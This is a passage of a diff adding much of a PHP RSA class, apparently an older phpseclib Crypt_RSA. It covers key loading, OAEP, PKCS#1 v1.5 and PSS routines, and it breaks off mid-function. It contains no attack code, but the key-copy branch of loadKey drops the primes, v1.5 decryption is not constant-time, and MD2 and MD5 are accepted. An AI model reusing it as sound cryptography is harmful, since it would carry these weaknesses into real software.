+     * Returns true on success and false on failure (ie. an incorrect password was provided or the key was malformed)
+     *
+     * @access public
+     * @param String $key
+     * @param Integer $type optional
+     */
+    function loadKey($key, $type = false)
+    {
+        if (is_object($key) && strtolower(get_class($key)) == 'crypt_rsa') {
+            $this->privateKeyFormat = $key->privateKeyFormat;
+            $this->publicKeyFormat = $key->publicKeyFormat;
+            $this->k = $key->k;
+            $this->hLen = $key->hLen;
+            $this->sLen = $key->sLen;
+            $this->mgfHLen = $key->mgfHLen;
+            $this->encryptionMode = $key->encryptionMode;
+            $this->signatureMode = $key->signatureMode;
+            $this->password = $key->password;
+            $this->configFile = $key->configFile;
+            $this->comment = $key->comment;
+
+            if (is_object($key->hash)) {
+                $this->hash = new Crypt_Hash($key->hash->getHash());
+            }
+            if (is_object($key->mgfHash)) {
+                $this->mgfHash = new Crypt_Hash($key->mgfHash->getHash());
+            }
+
+            if (is_object($key->modulus)) {
+                $this->modulus = $key->modulus->copy();
+            }
+            if (is_object($key->exponent)) {
+                $this->exponent = $key->exponent->copy();
+            }
+            if (is_object($key->publicExponent)) {
+                $this->publicExponent = $key->publicExponent->copy();
+            }
+
+            $this->primes = array();
+            $this->exponents = array();
+            $this->coefficients = array();
+
+            foreach ($this->primes as $prime) {
+                $this->primes[] = $prime->copy();
+            }
+            foreach ($this->exponents as $exponent) {
+                $this->exponents[] = $exponent->copy();
+            }
+            foreach ($this->coefficients as $coefficient) {
+                $this->coefficients[] = $coefficient->copy();
+            }
+
+            return true;
+        }
+
+        if ($type === false) {
+            $types = array(
+                CRYPT_RSA_PUBLIC_FORMAT_RAW,
+                CRYPT_RSA_PRIVATE_FORMAT_PKCS1,
+                CRYPT_RSA_PRIVATE_FORMAT_XML,
+                CRYPT_RSA_PRIVATE_FORMAT_PUTTY,
+                CRYPT_RSA_PUBLIC_FORMAT_OPENSSH
+            );
+            foreach ($types as $type) {
+                $components = $this->_parseKey($key, $type);
+                if ($components !== false) {
+                    break;
+                }
+            }
+
+        } else {
+            $components = $this->_parseKey($key, $type);
+        }
+
+        if ($components === false) {
+            return false;
+        }
+
+        if (isset($components['comment']) && $components['comment'] !== false) {
+            $this->comment = $components['comment'];
+        }
+        $this->modulus = $components['modulus'];
+        $this->k = strlen($this->modulus->toBytes());
+        $this->exponent = isset($components['privateExponent']) ? $components['privateExponent'] : $components['publicExponent'];
+        if (isset($components['primes'])) {
+            $this->primes = $components['primes'];
+            $this->exponents = $components['exponents'];
+            $this->coefficients = $components['coefficients'];
+            $this->publicExponent = $components['publicExponent'];
+        } else {
+            $this->primes = array();
+            $this->exponents = array();
+            $this->coefficients = array();
+            $this->publicExponent = false;
+        }
+
+        switch ($type) {
+            case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH:
+            case CRYPT_RSA_PUBLIC_FORMAT_RAW:
+                $this->setPublicKey();
+                break;
+            case CRYPT_RSA_PRIVATE_FORMAT_PKCS1:
+                switch (true) {
+                    case strpos($key, '-BEGIN PUBLIC KEY-') !== false:
+                    case strpos($key, '-BEGIN RSA PUBLIC KEY-') !== false:
+                        $this->setPublicKey();
+                }
+        }
+
+        return true;
+    }
+
+    /**
+     * Sets the password
+     *
+     * Private keys can be encrypted with a password.  To unset the password, pass in the empty string or false.
+     * Or rather, pass in $password such that empty($password) && !is_string($password) is true.
+     *
+     * @see createKey()
+     * @see loadKey()
+     * @access public
+     * @param String $password
+     */
+    function setPassword($password = false)
+    {
+        $this->password = $password;
+    }
+
+    /**
+     * Defines the public key
+     *
+     * Some private key formats define the public exponent and some don't.  Those that don't define it are problematic when
+     * used in certain contexts.  For example, in SSH-2, RSA authentication works by sending the public key along with a
+     * message signed by the private key to the server.  The SSH-2 server looks the public key up in an index of public keys
+     * and if it's present then proceeds to verify the signature.  Problem is, if your private key doesn't include the public
+     * exponent this won't work unless you manually add the public exponent. phpseclib tries to guess if the key being used
+     * is the public key but in the event that it guesses incorrectly you might still want to explicitly set the key as being
+     * public.
+     *
+     * Do note that when a new key is loaded the index will be cleared.
+     *
+     * Returns true on success, false on failure
+     *
+     * @see getPublicKey()
+     * @access public
+     * @param String $key optional
+     * @param Integer $type optional
+     * @return Boolean
+     */
+    function setPublicKey($key = false, $type = false)
+    {
+        // if a public key has already been loaded return false
+        if (!empty($this->publicExponent)) {
+            return false;
+        }
+
+        if ($key === false && !empty($this->modulus)) {
+            $this->publicExponent = $this->exponent;
+            return true;
+        }
+
+        if ($type === false) {
+            $types = array(
+                CRYPT_RSA_PUBLIC_FORMAT_RAW,
+                CRYPT_RSA_PUBLIC_FORMAT_PKCS1,
+                CRYPT_RSA_PUBLIC_FORMAT_XML,
+                CRYPT_RSA_PUBLIC_FORMAT_OPENSSH
+            );
+            foreach ($types as $type) {
+                $components = $this->_parseKey($key, $type);
+                if ($components !== false) {
+                    break;
+                }
+            }
+        } else {
+            $components = $this->_parseKey($key, $type);
+        }
+
+        if ($components === false) {
+            return false;
+        }
+
+        if (empty($this->modulus) || !$this->modulus->equals($components['modulus'])) {
+            $this->modulus = $components['modulus'];
+            $this->exponent = $this->publicExponent = $components['publicExponent'];
+            return true;
+        }
+
+        $this->publicExponent = $components['publicExponent'];
+
+        return true;
+    }
+
+    /**
+     * Defines the private key
+     *
+     * If phpseclib guessed a private key was a public key and loaded it as such it might be desirable to force
+     * phpseclib to treat the key as a private key. This function will do that.
+     *
+     * Do note that when a new key is loaded the index will be cleared.
+     *
+     * Returns true on success, false on failure
+     *
+     * @see getPublicKey()
+     * @access public
+     * @param String $key optional
+     * @param Integer $type optional
+     * @return Boolean
+     */
+    function setPrivateKey($key = false, $type = false)
+    {
+        if ($key === false && !empty($this->publicExponent)) {
+            unset($this->publicExponent);
+            return true;
+        }
+
+        $rsa = new Crypt_RSA();
+        if (!$rsa->loadKey($key, $type)) {
+            return false;
+        }
+        unset($rsa->publicExponent);
+
+        // don't overwrite the old key if the new key is invalid
+        $this->loadKey($rsa);
+        return true;
+    }
+
+    /**
+     * Returns the public key
+     *
+     * The public key is only returned under two circumstances - if the private key had the public key embedded within it
+     * or if the public key was set via setPublicKey().  If the currently loaded key is supposed to be the public key this
+     * function won't return it since this library, for the most part, doesn't distinguish between public and private keys.
+     *
+     * @see getPublicKey()
+     * @access public
+     * @param String $key
+     * @param Integer $type optional
+     */
+    function getPublicKey($type = CRYPT_RSA_PUBLIC_FORMAT_PKCS8)
+    {
+        if (empty($this->modulus) || empty($this->publicExponent)) {
+            return false;
+        }
+
+        $oldFormat = $this->publicKeyFormat;
+        $this->publicKeyFormat = $type;
+        $temp = $this->_convertPublicKey($this->modulus, $this->publicExponent);
+        $this->publicKeyFormat = $oldFormat;
+        return $temp;
+    }
+
+    /**
+     * Returns the private key
+     *
+     * The private key is only returned if the currently loaded key contains the constituent prime numbers.
+     *
+     * @see getPublicKey()
+     * @access public
+     * @param String $key
+     * @param Integer $type optional
+     */
+    function getPrivateKey($type = CRYPT_RSA_PUBLIC_FORMAT_PKCS1)
+    {
+        if (empty($this->primes)) {
+            return false;
+        }
+
+        $oldFormat = $this->privateKeyFormat;
+        $this->privateKeyFormat = $type;
+        $temp = $this->_convertPrivateKey($this->modulus, $this->publicExponent, $this->exponent, $this->primes, $this->exponents, $this->coefficients);
+        $this->privateKeyFormat = $oldFormat;
+        return $temp;
+    }
+
+    /**
+     * Returns a minimalistic private key
+     *
+     * Returns the private key without the prime number constituants.  Structurally identical to a public key that
+     * hasn't been set as the public key
+     *
+     * @see getPrivateKey()
+     * @access private
+     * @param String $key
+     * @param Integer $type optional
+     */
+    function _getPrivatePublicKey($mode = CRYPT_RSA_PUBLIC_FORMAT_PKCS8)
+    {
+        if (empty($this->modulus) || empty($this->exponent)) {
+            return false;
+        }
+
+        $oldFormat = $this->publicKeyFormat;
+        $this->publicKeyFormat = $mode;
+        $temp = $this->_convertPublicKey($this->modulus, $this->exponent);
+        $this->publicKeyFormat = $oldFormat;
+        return $temp;
+    }
+
+    /**
+     *  __toString() magic method
+     *
+     * @access public
+     */
+    function __toString()
+    {
+        $key = $this->getPrivateKey($this->privateKeyFormat);
+        if ($key !== false) {
+            return $key;
+        }
+        $key = $this->_getPrivatePublicKey($this->publicKeyFormat);
+        return $key !== false ? $key : '';
+    }
+
+    /**
+     *  __clone() magic method
+     *
+     * @access public
+     */
+    function __clone()
+    {
+        $key = new Crypt_RSA();
+        $key->loadKey($this);
+        return $key;
+    }
+
+    /**
+     * Generates the smallest and largest numbers requiring $bits bits
+     *
+     * @access private
+     * @param Integer $bits
+     * @return Array
+     */
+    function _generateMinMax($bits)
+    {
+        $bytes = $bits >> 3;
+        $min = str_repeat(chr(0), $bytes);
+        $max = str_repeat(chr(0xFF), $bytes);
+        $msb = $bits & 7;
+        if ($msb) {
+            $min = chr(1 << ($msb - 1)) . $min;
+            $max = chr((1 << $msb) - 1) . $max;
+        } else {
+            $min[0] = chr(0x80);
+        }
+
+        return array(
+            'min' => new Math_BigInteger($min, 256),
+            'max' => new Math_BigInteger($max, 256)
+        );
+    }
+
+    /**
+     * DER-decode the length
+     *
+     * DER supports lengths up to (2**8)**127, however, we'll only support lengths up to (2**8)**4.  See
+     * {@link http://itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf#p=13 X.690 paragraph 8.1.3} for more information.
+     *
+     * @access private
+     * @param String $string
+     * @return Integer
+     */
+    function _decodeLength(&$string)
+    {
+        $length = ord($this->_string_shift($string));
+        if ( $length & 0x80 ) { // definite length, long form
+            $length&= 0x7F;
+            $temp = $this->_string_shift($string, $length);
+            list(, $length) = unpack('N', substr(str_pad($temp, 4, chr(0), STR_PAD_LEFT), -4));
+        }
+        return $length;
+    }
+
+    /**
+     * DER-encode the length
+     *
+     * DER supports lengths up to (2**8)**127, however, we'll only support lengths up to (2**8)**4.  See
+     * {@link http://itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf#p=13 X.690 paragraph 8.1.3} for more information.
+     *
+     * @access private
+     * @param Integer $length
+     * @return String
+     */
+    function _encodeLength($length)
+    {
+        if ($length <= 0x7F) {
+            return chr($length);
+        }
+
+        $temp = ltrim(pack('N', $length), chr(0));
+        return pack('Ca*', 0x80 | strlen($temp), $temp);
+    }
+
+    /**
+     * String Shift
+     *
+     * Inspired by array_shift
+     *
+     * @param String $string
+     * @param optional Integer $index
+     * @return String
+     * @access private
+     */
+    function _string_shift(&$string, $index = 1)
+    {
+        $substr = substr($string, 0, $index);
+        $string = substr($string, $index);
+        return $substr;
+    }
+
+    /**
+     * Determines the private key format
+     *
+     * @see createKey()
+     * @access public
+     * @param Integer $format
+     */
+    function setPrivateKeyFormat($format)
+    {
+        $this->privateKeyFormat = $format;
+    }
+
+    /**
+     * Determines the public key format
+     *
+     * @see createKey()
+     * @access public
+     * @param Integer $format
+     */
+    function setPublicKeyFormat($format)
+    {
+        $this->publicKeyFormat = $format;
+    }
+
+    /**
+     * Determines which hashing function should be used
+     *
+     * Used with signature production / verification and (if the encryption mode is CRYPT_RSA_ENCRYPTION_OAEP) encryption and
+     * decryption.  If $hash isn't supported, sha1 is used.
+     *
+     * @access public
+     * @param String $hash
+     */
+    function setHash($hash)
+    {
+        // Crypt_Hash supports algorithms that PKCS#1 doesn't support.  md5-96 and sha1-96, for example.
+        switch ($hash) {
+            case 'md2':
+            case 'md5':
+            case 'sha1':
+            case 'sha256':
+            case 'sha384':
+            case 'sha512':
+                $this->hash = new Crypt_Hash($hash);
+                $this->hashName = $hash;
+                break;
+            default:
+                $this->hash = new Crypt_Hash('sha1');
+                $this->hashName = 'sha1';
+        }
+        $this->hLen = $this->hash->getLength();
+    }
+
+    /**
+     * Determines which hashing function should be used for the mask generation function
+     *
+     * The mask generation function is used by CRYPT_RSA_ENCRYPTION_OAEP and CRYPT_RSA_SIGNATURE_PSS and although it's
+     * best if Hash and MGFHash are set to the same thing this is not a requirement.
+     *
+     * @access public
+     * @param String $hash
+     */
+    function setMGFHash($hash)
+    {
+        // Crypt_Hash supports algorithms that PKCS#1 doesn't support.  md5-96 and sha1-96, for example.
+        switch ($hash) {
+            case 'md2':
+            case 'md5':
+            case 'sha1':
+            case 'sha256':
+            case 'sha384':
+            case 'sha512':
+                $this->mgfHash = new Crypt_Hash($hash);
+                break;
+            default:
+                $this->mgfHash = new Crypt_Hash('sha1');
+        }
+        $this->mgfHLen = $this->mgfHash->getLength();
+    }
+
+    /**
+     * Determines the salt length
+     *
+     * To quote from {@link http://tools.ietf.org/html/rfc3447#page-38 RFC3447#page-38}:
+     *
+     *    Typical salt lengths in octets are hLen (the length of the output
+     *    of the hash function Hash) and 0.
+     *
+     * @access public
+     * @param Integer $format
+     */
+    function setSaltLength($sLen)
+    {
+        $this->sLen = $sLen;
+    }
+
+    /**
+     * Integer-to-Octet-String primitive
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-4.1 RFC3447#section-4.1}.
+     *
+     * @access private
+     * @param Math_BigInteger $x
+     * @param Integer $xLen
+     * @return String
+     */
+    function _i2osp($x, $xLen)
+    {
+        $x = $x->toBytes();
+        if (strlen($x) > $xLen) {
+            user_error('Integer too large');
+            return false;
+        }
+        return str_pad($x, $xLen, chr(0), STR_PAD_LEFT);
+    }
+
+    /**
+     * Octet-String-to-Integer primitive
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-4.2 RFC3447#section-4.2}.
+     *
+     * @access private
+     * @param String $x
+     * @return Math_BigInteger
+     */
+    function _os2ip($x)
+    {
+        return new Math_BigInteger($x, 256);
+    }
+
+    /**
+     * Exponentiate with or without Chinese Remainder Theorem
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-5.1.1 RFC3447#section-5.1.2}.
+     *
+     * @access private
+     * @param Math_BigInteger $x
+     * @return Math_BigInteger
+     */
+    function _exponentiate($x)
+    {
+        if (empty($this->primes) || empty($this->coefficients) || empty($this->exponents)) {
+            return $x->modPow($this->exponent, $this->modulus);
+        }
+
+        $num_primes = count($this->primes);
+
+        if (defined('CRYPT_RSA_DISABLE_BLINDING')) {
+            $m_i = array(
+                1 => $x->modPow($this->exponents[1], $this->primes[1]),
+                2 => $x->modPow($this->exponents[2], $this->primes[2])
+            );
+            $h = $m_i[1]->subtract($m_i[2]);
+            $h = $h->multiply($this->coefficients[2]);
+            list(, $h) = $h->divide($this->primes[1]);
+            $m = $m_i[2]->add($h->multiply($this->primes[2]));
+
+            $r = $this->primes[1];
+            for ($i = 3; $i <= $num_primes; $i++) {
+                $m_i = $x->modPow($this->exponents[$i], $this->primes[$i]);
+
+                $r = $r->multiply($this->primes[$i - 1]);
+
+                $h = $m_i->subtract($m);
+                $h = $h->multiply($this->coefficients[$i]);
+                list(, $h) = $h->divide($this->primes[$i]);
+
+                $m = $m->add($r->multiply($h));
+            }
+        } else {
+            $smallest = $this->primes[1];
+            for ($i = 2; $i <= $num_primes; $i++) {
+                if ($smallest->compare($this->primes[$i]) > 0) {
+                    $smallest = $this->primes[$i];
+                }
+            }
+
+            $one = new Math_BigInteger(1);
+
+            $r = $one->random($one, $smallest->subtract($one));
+
+            $m_i = array(
+                1 => $this->_blind($x, $r, 1),
+                2 => $this->_blind($x, $r, 2)
+            );
+            $h = $m_i[1]->subtract($m_i[2]);
+            $h = $h->multiply($this->coefficients[2]);
+            list(, $h) = $h->divide($this->primes[1]);
+            $m = $m_i[2]->add($h->multiply($this->primes[2]));
+
+            $r = $this->primes[1];
+            for ($i = 3; $i <= $num_primes; $i++) {
+                $m_i = $this->_blind($x, $r, $i);
+
+                $r = $r->multiply($this->primes[$i - 1]);
+
+                $h = $m_i->subtract($m);
+                $h = $h->multiply($this->coefficients[$i]);
+                list(, $h) = $h->divide($this->primes[$i]);
+
+                $m = $m->add($r->multiply($h));
+            }
+        }
+
+        return $m;
+    }
+
+    /**
+     * Performs RSA Blinding
+     *
+     * Protects against timing attacks by employing RSA Blinding.
+     * Returns $x->modPow($this->exponents[$i], $this->primes[$i])
+     *
+     * @access private
+     * @param Math_BigInteger $x
+     * @param Math_BigInteger $r
+     * @param Integer $i
+     * @return Math_BigInteger
+     */
+    function _blind($x, $r, $i)
+    {
+        $x = $x->multiply($r->modPow($this->publicExponent, $this->primes[$i]));
+        $x = $x->modPow($this->exponents[$i], $this->primes[$i]);
+
+        $r = $r->modInverse($this->primes[$i]);
+        $x = $x->multiply($r);
+        list(, $x) = $x->divide($this->primes[$i]);
+
+        return $x;
+    }
+
+    /**
+     * Performs blinded RSA equality testing
+     *
+     * Protects against a particular type of timing attack described.
+     *
+     * See {@link http://codahale.com/a-lesson-in-timing-attacks/ A Lesson In Timing Attacks (or, Don't use MessageDigest.isEquals)}
+     *
+     * Thanks for the heads up singpolyma!
+     *
+     * @access private
+     * @param String $x
+     * @param String $y
+     * @return Boolean
+     */
+    function _equals($x, $y)
+    {
+        if (strlen($x) != strlen($y)) {
+            return false;
+        }
+
+        $result = 0;
+        for ($i = 0; $i < strlen($x); $i++) {
+            $result |= ord($x[$i]) ^ ord($y[$i]);
+        }
+
+        return $result == 0;
+    }
+
+    /**
+     * RSAEP
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-5.1.1 RFC3447#section-5.1.1}.
+     *
+     * @access private
+     * @param Math_BigInteger $m
+     * @return Math_BigInteger
+     */
+    function _rsaep($m)
+    {
+        if ($m->compare($this->zero) < 0 || $m->compare($this->modulus) > 0) {
+            user_error('Message representative out of range');
+            return false;
+        }
+        return $this->_exponentiate($m);
+    }
+
+    /**
+     * RSADP
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-5.1.2 RFC3447#section-5.1.2}.
+     *
+     * @access private
+     * @param Math_BigInteger $c
+     * @return Math_BigInteger
+     */
+    function _rsadp($c)
+    {
+        if ($c->compare($this->zero) < 0 || $c->compare($this->modulus) > 0) {
+            user_error('Ciphertext representative out of range');
+            return false;
+        }
+        return $this->_exponentiate($c);
+    }
+
+    /**
+     * RSASP1
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-5.2.1 RFC3447#section-5.2.1}.
+     *
+     * @access private
+     * @param Math_BigInteger $m
+     * @return Math_BigInteger
+     */
+    function _rsasp1($m)
+    {
+        if ($m->compare($this->zero) < 0 || $m->compare($this->modulus) > 0) {
+            user_error('Message representative out of range');
+            return false;
+        }
+        return $this->_exponentiate($m);
+    }
+
+    /**
+     * RSAVP1
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-5.2.2 RFC3447#section-5.2.2}.
+     *
+     * @access private
+     * @param Math_BigInteger $s
+     * @return Math_BigInteger
+     */
+    function _rsavp1($s)
+    {
+        if ($s->compare($this->zero) < 0 || $s->compare($this->modulus) > 0) {
+            user_error('Signature representative out of range');
+            return false;
+        }
+        return $this->_exponentiate($s);
+    }
+
+    /**
+     * MGF1
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#appendix-B.2.1 RFC3447#appendix-B.2.1}.
+     *
+     * @access private
+     * @param String $mgfSeed
+     * @param Integer $mgfLen
+     * @return String
+     */
+    function _mgf1($mgfSeed, $maskLen)
+    {
+        // if $maskLen would yield strings larger than 4GB, PKCS#1 suggests a "Mask too long" error be output.
+
+        $t = '';
+        $count = ceil($maskLen / $this->mgfHLen);
+        for ($i = 0; $i < $count; $i++) {
+            $c = pack('N', $i);
+            $t.= $this->mgfHash->hash($mgfSeed . $c);
+        }
+
+        return substr($t, 0, $maskLen);
+    }
+
+    /**
+     * RSAES-OAEP-ENCRYPT
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-7.1.1 RFC3447#section-7.1.1} and
+     * {http://en.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding OAES}.
+     *
+     * @access private
+     * @param String $m
+     * @param String $l
+     * @return String
+     */
+    function _rsaes_oaep_encrypt($m, $l = '')
+    {
+        $mLen = strlen($m);
+
+        // Length checking
+
+        // if $l is larger than two million terrabytes and you're using sha1, PKCS#1 suggests a "Label too long" error
+        // be output.
+
+        if ($mLen > $this->k - 2 * $this->hLen - 2) {
+            user_error('Message too long');
+            return false;
+        }
+
+        // EME-OAEP encoding
+
+        $lHash = $this->hash->hash($l);
+        $ps = str_repeat(chr(0), $this->k - $mLen - 2 * $this->hLen - 2);
+        $db = $lHash . $ps . chr(1) . $m;
+        $seed = crypt_random_string($this->hLen);
+        $dbMask = $this->_mgf1($seed, $this->k - $this->hLen - 1);
+        $maskedDB = $db ^ $dbMask;
+        $seedMask = $this->_mgf1($maskedDB, $this->hLen);
+        $maskedSeed = $seed ^ $seedMask;
+        $em = chr(0) . $maskedSeed . $maskedDB;
+
+        // RSA encryption
+
+        $m = $this->_os2ip($em);
+        $c = $this->_rsaep($m);
+        $c = $this->_i2osp($c, $this->k);
+
+        // Output the ciphertext C
+
+        return $c;
+    }
+
+    /**
+     * RSAES-OAEP-DECRYPT
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-7.1.2 RFC3447#section-7.1.2}.  The fact that the error
+     * messages aren't distinguishable from one another hinders debugging, but, to quote from RFC3447#section-7.1.2:
+     *
+     *    Note.  Care must be taken to ensure that an opponent cannot
+     *    distinguish the different error conditions in Step 3.g, whether by
+     *    error message or timing, or, more generally, learn partial
+     *    information about the encoded message EM.  Otherwise an opponent may
+     *    be able to obtain useful information about the decryption of the
+     *    ciphertext C, leading to a chosen-ciphertext attack such as the one
+     *    observed by Manger [36].
+     *
+     * As for $l...  to quote from {@link http://tools.ietf.org/html/rfc3447#page-17 RFC3447#page-17}:
+     *
+     *    Both the encryption and the decryption operations of RSAES-OAEP take
+     *    the value of a label L as input.  In this version of PKCS #1, L is
+     *    the empty string; other uses of the label are outside the scope of
+     *    this document.
+     *
+     * @access private
+     * @param String $c
+     * @param String $l
+     * @return String
+     */
+    function _rsaes_oaep_decrypt($c, $l = '')
+    {
+        // Length checking
+
+        // if $l is larger than two million terrabytes and you're using sha1, PKCS#1 suggests a "Label too long" error
+        // be output.
+
+        if (strlen($c) != $this->k || $this->k < 2 * $this->hLen + 2) {
+            user_error('Decryption error');
+            return false;
+        }
+
+        // RSA decryption
+
+        $c = $this->_os2ip($c);
+        $m = $this->_rsadp($c);
+        if ($m === false) {
+            user_error('Decryption error');
+            return false;
+        }
+        $em = $this->_i2osp($m, $this->k);
+
+        // EME-OAEP decoding
+
+        $lHash = $this->hash->hash($l);
+        $y = ord($em[0]);
+        $maskedSeed = substr($em, 1, $this->hLen);
+        $maskedDB = substr($em, $this->hLen + 1);
+        $seedMask = $this->_mgf1($maskedDB, $this->hLen);
+        $seed = $maskedSeed ^ $seedMask;
+        $dbMask = $this->_mgf1($seed, $this->k - $this->hLen - 1);
+        $db = $maskedDB ^ $dbMask;
+        $lHash2 = substr($db, 0, $this->hLen);
+        $m = substr($db, $this->hLen);
+        if ($lHash != $lHash2) {
+            user_error('Decryption error');
+            return false;
+        }
+        $m = ltrim($m, chr(0));
+        if (ord($m[0]) != 1) {
+            user_error('Decryption error');
+            return false;
+        }
+
+        // Output the message M
+
+        return substr($m, 1);
+    }
+
+    /**
+     * RSAES-PKCS1-V1_5-ENCRYPT
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-7.2.1 RFC3447#section-7.2.1}.
+     *
+     * @access private
+     * @param String $m
+     * @return String
+     */
+    function _rsaes_pkcs1_v1_5_encrypt($m)
+    {
+        $mLen = strlen($m);
+
+        // Length checking
+
+        if ($mLen > $this->k - 11) {
+            user_error('Message too long');
+            return false;
+        }
+
+        // EME-PKCS1-v1_5 encoding
+
+        $psLen = $this->k - $mLen - 3;
+        $ps = '';
+        while (strlen($ps) != $psLen) {
+            $temp = crypt_random_string($psLen - strlen($ps));
+            $temp = str_replace("\x00", '', $temp);
+            $ps.= $temp;
+        }
+        $type = 2;
+        // see the comments of _rsaes_pkcs1_v1_5_decrypt() to understand why this is being done
+        if (defined('CRYPT_RSA_PKCS15_COMPAT') && (!isset($this->publicExponent) || $this->exponent !== $this->publicExponent)) {
+            $type = 1;
+            // "The padding string PS shall consist of k-3-||D|| octets. ... for block type 01, they shall have value FF"
+            $ps = str_repeat("\xFF", $psLen);
+        }
+        $em = chr(0) . chr($type) . $ps . chr(0) . $m;
+
+        // RSA encryption
+        $m = $this->_os2ip($em);
+        $c = $this->_rsaep($m);
+        $c = $this->_i2osp($c, $this->k);
+
+        // Output the ciphertext C
+
+        return $c;
+    }
+
+    /**
+     * RSAES-PKCS1-V1_5-DECRYPT
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-7.2.2 RFC3447#section-7.2.2}.
+     *
+     * For compatibility purposes, this function departs slightly from the description given in RFC3447.
+     * The reason being that RFC2313#section-8.1 (PKCS#1 v1.5) states that ciphertext's encrypted by the
+     * private key should have the second byte set to either 0 or 1 and that ciphertext's encrypted by the
+     * public key should have the second byte set to 2.  In RFC3447 (PKCS#1 v2.1), the second byte is supposed
+     * to be 2 regardless of which key is used.  For compatibility purposes, we'll just check to make sure the
+     * second byte is 2 or less.  If it is, we'll accept the decrypted string as valid.
+     *
+     * As a consequence of this, a private key encrypted ciphertext produced with Crypt_RSA may not decrypt
+     * with a strictly PKCS#1 v1.5 compliant RSA implementation.  Public key encrypted ciphertext's should but
+     * not private key encrypted ciphertext's.
+     *
+     * @access private
+     * @param String $c
+     * @return String
+     */
+    function _rsaes_pkcs1_v1_5_decrypt($c)
+    {
+        // Length checking
+
+        if (strlen($c) != $this->k) { // or if k < 11
+            user_error('Decryption error');
+            return false;
+        }
+
+        // RSA decryption
+
+        $c = $this->_os2ip($c);
+        $m = $this->_rsadp($c);
+
+        if ($m === false) {
+            user_error('Decryption error');
+            return false;
+        }
+        $em = $this->_i2osp($m, $this->k);
+
+        // EME-PKCS1-v1_5 decoding
+
+        if (ord($em[0]) != 0 || ord($em[1]) > 2) {
+            user_error('Decryption error');
+            return false;
+        }
+
+        $ps = substr($em, 2, strpos($em, chr(0), 2) - 2);
+        $m = substr($em, strlen($ps) + 3);
+
+        if (strlen($ps) < 8) {
+            user_error('Decryption error');
+            return false;
+        }
+
+        // Output M
+
+        return $m;
+    }
+
+    /**
+     * EMSA-PSS-ENCODE
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-9.1.1 RFC3447#section-9.1.1}.
+     *
+     * @access private
+     * @param String $m
+     * @param Integer $emBits
+     */
+    function _emsa_pss_encode($m, $emBits)
+    {
+        // if $m is larger than two million terrabytes and you're using sha1, PKCS#1 suggests a "Label too long" error
+        // be output.
+
+        $emLen = ($emBits + 1) >> 3; // ie. ceil($emBits / 8)
+        $sLen = $this->sLen == false ? $this->hLen : $this->sLen;
+
+        $mHash = $this->hash->hash($m);
+        if ($emLen < $this->hLen + $sLen + 2) {
+            user_error('Encoding error');
+            return false;
+        }
+
+        $salt = crypt_random_string($sLen);
+        $m2 = "\0\0\0\0\0\0\0\0" . $mHash . $salt;
+        $h = $this->hash->hash($m2);
+        $ps = str_repeat(chr(0), $emLen - $sLen - $this->hLen - 2);
+        $db = $ps . chr(1) . $salt;
+        $dbMask = $this->_mgf1($h, $emLen - $this->hLen - 1);
+        $maskedDB = $db ^ $dbMask;
+        $maskedDB[0] = ~chr(0xFF << ($emBits & 7)) & $maskedDB[0];
+        $em = $maskedDB . $h . chr(0xBC);
+
+        return $em;
+    }
+
+    /**
+     * EMSA-PSS-VERIFY
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-9.1.2 RFC3447#section-9.1.2}.
+     *
+     * @access private
+     * @param String $m
+     * @param String $em
+     * @param Integer $emBits
+     * @return String
+     */
+    function _emsa_pss_verify($m, $em, $emBits)
+    {
+        // if $m is larger than two million terrabytes and you're using sha1, PKCS#1 suggests a "Label too long" error
+        // be output.
+
+        $emLen = ($emBits + 1) >> 3; // ie. ceil($emBits / 8);
+        $sLen = $this->sLen == false ? $this->hLen : $this->sLen;
+
+        $mHash = $this->hash->hash($m);
+        if ($emLen < $this->hLen + $sLen + 2) {
+            return false;
+        }
+
+        if ($em[strlen($em) - 1] != chr(0xBC)) {
+            return false;
+        }
+
+        $maskedDB = substr($em, 0, -$this->hLen - 1);
+        $h = substr($em, -$this->hLen - 1, $this->hLen);
+        $temp = chr(0xFF << ($emBits & 7));
+        if ((~$maskedDB[0] & $temp) != $temp) {
+            return false;
+        }
+        $dbMask = $this->_mgf1($h, $emLen - $this->hLen - 1);
+        $db = $maskedDB ^ $dbMask;
+        $db[0] = ~chr(0xFF << ($emBits & 7)) & $db[0];
+        $temp = $emLen - $this->hLen - $sLen - 2;
+        if (substr($db, 0, $temp) != str_repeat(chr(0), $temp) || ord($db[$temp]) != 1) {
+            return false;
+        }
+        $salt = substr($db, $temp + 1); // should be $sLen long
+        $m2 = "\0\0\0\0\0\0\0\0" . $mHash . $salt;
+        $h2 = $this->hash->hash($m2);
+        return $this->_equals($h, $h2);
+    }
+
+    /**
+     * RSASSA-PSS-SIGN
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-8.1.1 RFC3447#section-8.1.1}.
+     *
+     * @access private
+     * @param String $m
+     * @return String
+     */
+    function _rsassa_pss_sign($m)
+    {
+        // EMSA-PSS encoding
+
+        $em = $this->_emsa_pss_encode($m, 8 * $this->k - 1);
+
+        // RSA signature
+
+        $m = $this->_os2ip($em);
+        $s = $this->_rsasp1($m);
+        $s = $this->_i2osp($s, $this->k);
+
+        // Output the signature S
+
+        return $s;
+    }
+
+    /**
+     * RSASSA-PSS-VERIFY
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-8.1.2 RFC3447#section-8.1.2}.
+     *
+     * @access private
+     * @param String $m
+     * @param String $s
+     * @return String
+     */
+    function _rsassa_pss_verify($m, $s)
+    {
+        // Length checking
+
+        if (strlen($s) != $this->k) {
+            user_error('Invalid signature');
+            return false;
+        }
+
+        // RSA verification
+
